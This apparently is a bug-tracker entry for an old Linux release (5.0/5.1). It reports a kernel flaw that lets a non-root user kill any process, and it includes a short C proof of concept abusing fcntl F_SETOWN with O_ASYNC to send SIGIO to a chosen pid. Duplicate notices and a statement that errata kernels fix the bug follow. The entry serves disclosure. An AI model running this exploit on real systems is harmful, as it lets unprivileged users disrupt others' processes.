Allows anyone to kill any process - even if not root. Effects 5.0 and 5.1, have not tested on 5.2 --- #include <fcntl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { int s, p; if (argc != 2) { fputs("Please specify a pid to send signal to.\n", stderr); exit(0); } else { p = atoi(argv[1]); } fcntl(0,F_SETOWN,p); s = fcntl(0,F_GETFL,0); fcntl(0,F_SETFL,s|O_ASYNC); printf("Sending SIGIO - press enter.\n"); getchar(); fcntl(0,F_SETFL,s&~O_ASYNC); printf("SIGIO send attempted.\n"); return 0; }
*** Bug 80 has been marked as a duplicate of this bug. ***
*** Bug 79 has been marked as a duplicate of this bug. ***
This was a kernel bug, and has been fixed in the latest errata kernel releases for 5.x. Or, you can upgrade to 5.2.
*** Bug 91 has been marked as a duplicate of this bug. ***
*** Bug 165 has been marked as a duplicate of this bug. ***
*** Bug 243 has been marked as a duplicate of this bug. ***